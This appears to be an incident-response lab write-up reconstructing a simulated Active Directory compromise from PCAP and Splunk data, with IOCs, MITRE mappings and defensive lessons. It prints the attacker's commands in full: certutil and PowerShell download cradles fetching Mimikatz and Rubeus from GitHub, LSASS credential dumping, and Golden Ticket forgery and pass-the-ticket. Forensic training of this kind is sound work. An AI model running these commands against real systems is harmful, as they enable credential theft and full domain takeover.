A recently formed company claimed to have a secure environment. A 13-year-old attacker took this as a challenge, compromised their web server, pivoted into the internal Active Directory environment, dumped credentials, and achieved full domain compromise via a Golden Ticket attack. Investigate using Wireshark PCAP data and Splunk logs.
Opening the PCAP in Wireshark and filtering for POST requests surfaces the attacker’s initial login to the vulnerable web application:
http.request.method == POST

The attacker authenticated with admin:password from IP 192.168.1.13. After logging in, the attacker abused the DVWA command injection endpoint at /dvwa/vulnerabilities/exec/ to execute OS commands directly on the web server.

Six commands were issued through the injection point. The most significant was:
; cat /var/www/dvwa/.credentials.txt
The response returned plaintext credentials stored on the web server:
Mike Tyson : Pa55w0rd
With credentials in hand and code execution on the web server, the attacker performed internal network reconnaissance:
nmap -sC -sV 10.0.2.0/24
This revealed the internal subnet 10.0.2.0/24 and its live hosts, setting up the pivot into the Active Directory environment.
Pivoting to Splunk and searching for the compromised account:
index=* Account_Name=mtyson

The mtyson account interacted with two systems in the highlysecured.tech domain:
WIN-3IGU5KH5MV2.highlysecured.tech
DESKTOP-2FII9FV.highlysecured.tech
The account domain confirmed the AD environment: highlysecured.tech.
Hunting file activity for mtyson on DESKTOP-2FII9FV surfaced a Crypto key path:
C:\Users\mtyson\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_29480150-6ab8-4a20-afea-4127b2f5065f
The presence of a Crypto key artefact immediately indicated credential manipulation tooling — a direct pivot to searching for Mimikatz activity.
Searching for Mimikatz activity across all indexes confirmed three staged downloads on DESKTOP-2FII9FV:
Download 1 — PowerSploit Invoke-Mimikatz (renamed):
powershell -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -OutFile Troubleshooter.ps1"
Invoke-Mimikatz.ps1 downloaded from PowerShellMafia’s PowerSploit and saved as Troubleshooter.ps1 — masquerading as a legitimate Windows troubleshooting script.
Download 2 — Mimikatz binary (renamed):
certutil -urlcache -f https://github.com/ParrotSec/mimikatz/archive/refs/heads/master.zip ImpFile.zip
The mimikatz archive (master.zip) downloaded via certutil and saved as ImpFile.zip. The binary was extracted to:
C:\Users\mtyson\ImpFile\mimikatz-master\x64\mimikatz.exe
Download 3 — Rubeus compiled binary (renamed):
certutil -urlcache -f https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe svch0st.exe
Rubeus — a Kerberos attack toolkit — downloaded and saved as svch0st.exe (zero substituted for the letter o). This is the compiled binary stored under a legitimate-looking name, designed to blend in with the legitimate Windows svchost.exe process name.
With the tooling staged, the attacker dumped credentials in a single PowerShell one-liner:
powershell -Command '. .\Troubleshooter.ps1 ; Invoke-Mimikatz -Command "privilege::debug" ; Invoke-Mimikatz -Command "sekurlsa::logonpasswords"'
privilege::debug elevates the process to obtain SeDebugPrivilege — required to access LSASS memory. sekurlsa::logonpasswords extracts plaintext credentials and NTLM hashes from LSASS. The KRBTGT hash recovered here is what enabled the Golden Ticket.
With the KRBTGT hash obtained, the attacker forged a Golden Ticket using Mimikatz:
mimikatz.exe "kerberos::golden /user:mtyson /domain:highlysecured.tech /sid:S-1-5-21-2778836013-2025790062-2140220986-1108 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /id:500 /ptt"
Breaking down the command:
/krbtgt:31d6cfe0... — the KRBTGT account hash extracted from the DC/id:500 — forging as RID 500 (built-in Administrator)/ptt — pass-the-ticket, loads the forged TGT directly into memoryThe forged ticket was then used for lateral movement:
mimikatz.exe "kerberos::ptt 0-60a10000-mtyson@krbtgt~HIGHLYSECURED.TECH-HIGHLYSECURED.TECH.kirbi"
The .kirbi ticket file 0-60a10000-mtyson@krbtgt~HIGHLYSECURED.TECH-HIGHLYSECURED.TECH.kirbi was injected into the current session, granting domain-wide Administrator access without requiring the actual account password.
| Phase | Action |
|---|---|
| Initial Access | DVWA command injection via /dvwa/vulnerabilities/exec/ as admin:password |
| Discovery | cat /var/www/dvwa/.credentials.txt — credentials Mike Tyson : Pa55w0rd |
| Reconnaissance | nmap -sC -sV 10.0.2.0/24 — internal subnet scan |
| Credential Access | AD login as mtyson on DESKTOP-2FII9FV.highlysecured.tech |
| Execution | Invoke-Mimikatz.ps1 downloaded as Troubleshooter.ps1 via PowerShell |
| Execution | master.zip downloaded as ImpFile.zip via certutil |
| Execution | Rubeus.exe downloaded as svch0st.exe via certutil |
| Credential Dump | sekurlsa::logonpasswords via Troubleshooter.ps1 — KRBTGT hash extracted |
| Lateral Movement | Golden Ticket forged, loaded via kerberos::ptt — domain-wide compromise |
| Type | Value |
|---|---|
| IP (Attacker) | 192.168.1.13 |
| Credentials (Web) | admin:password |
| Credentials (AD) | mtyson : Pa55w0rd |
| File | Troubleshooter.ps1 (Invoke-Mimikatz.ps1) |
| File | ImpFile.zip (master.zip / mimikatz) |
| File | svch0st.exe (Rubeus.exe) |
| Path | C:\Users\mtyson\ImpFile\mimikatz-master\x64\mimikatz.exe |
| Ticket | 0-60a10000-mtyson@krbtgt~HIGHLYSECURED.TECH-HIGHLYSECURED.TECH.kirbi |
| Domain SID | S-1-5-21-2778836013-2025790062-2140220986-1108 |
| KRBTGT Hash | 31d6cfe0d16ae931b73c59d7e0c089c0 |
| Domain | highlysecured.tech |
| URL | hxxps[://]raw.githubusercontent[.]com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 |
| URL | hxxps[://]github[.]com/ParrotSec/mimikatz/archive/refs/heads/master.zip |
| URL | hxxps[://]github[.]com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe |
| Technique | ID | Description |
|---|---|---|
| Exploit Public-Facing Application | T1190 | DVWA command injection via vulnerable exec endpoint |
| JavaScript / Command Injection | T1059.007 | OS commands injected via web application input field |
| Network Service Discovery | T1046 | nmap -sC -sV 10.0.2.0/24 internal subnet scan |
| Valid Accounts | T1078 | mtyson credentials used for AD lateral access |
| PowerShell | T1059.001 | Invoke-Mimikatz loaded and executed via PowerShell |
| Ingress Tool Transfer | T1105 | Mimikatz, Rubeus downloaded via Invoke-WebRequest and certutil |
| Masquerading | T1036.005 | Rubeus.exe saved as svch0st.exe; Invoke-Mimikatz.ps1 as Troubleshooter.ps1 |
| OS Credential Dumping: LSASS Memory | T1003.001 | sekurlsa::logonpasswords via Mimikatz |
| Steal or Forge Kerberos Tickets: Golden Ticket | T1558.001 | KRBTGT hash used to forge domain-wide TGT |
| Pass the Ticket | T1550.003 | Forged .kirbi ticket injected into session via kerberos::ptt |
| Credentials in Files | T1552.001 | .credentials.txt stored plaintext on web server |
Credential files on web servers — a plaintext .credentials.txt file accessible from the web root is an elementary mistake that handed the attacker domain credentials without any further exploitation. Credentials should never be stored in files on production systems. Secrets management tools or environment variables are the appropriate pattern.
DVWA in production — DVWA (Damn Vulnerable Web Application) is a deliberately vulnerable training platform. Deploying it in any environment connected to an internal network is the equivalent of leaving the front door open. Web application firewalls and strict input sanitisation would have blocked the command injection, but the root fix is never exposing intentionally vulnerable software.
certutil as a download cradle — certutil -urlcache -f is a well-known living-off-the-land download technique. It is flagged by most modern EDR solutions and should trigger an alert when seen downloading from external URLs, particularly GitHub raw content or blob URLs. Monitoring for certutil with external URL arguments is a high-fidelity detection rule.
KRBTGT password rotation — once a Golden Ticket is forged the only remediation is rotating the KRBTGT account password twice (once to invalidate existing tickets, once to prevent re-use of the old hash). A single rotation is insufficient. Detecting Golden Ticket usage requires monitoring for Kerberos tickets with anomalously long lifetimes or tickets presented without a corresponding AS-REQ in the event logs.
Masquerading detection — svch0st.exe (zero not o) would be caught by any process name allowlist or hash-based detection. Monitoring for processes with names that closely resemble legitimate Windows binaries but don’t match known-good hashes is an effective control. Sysmon Event ID 1 with image hash verification covers this.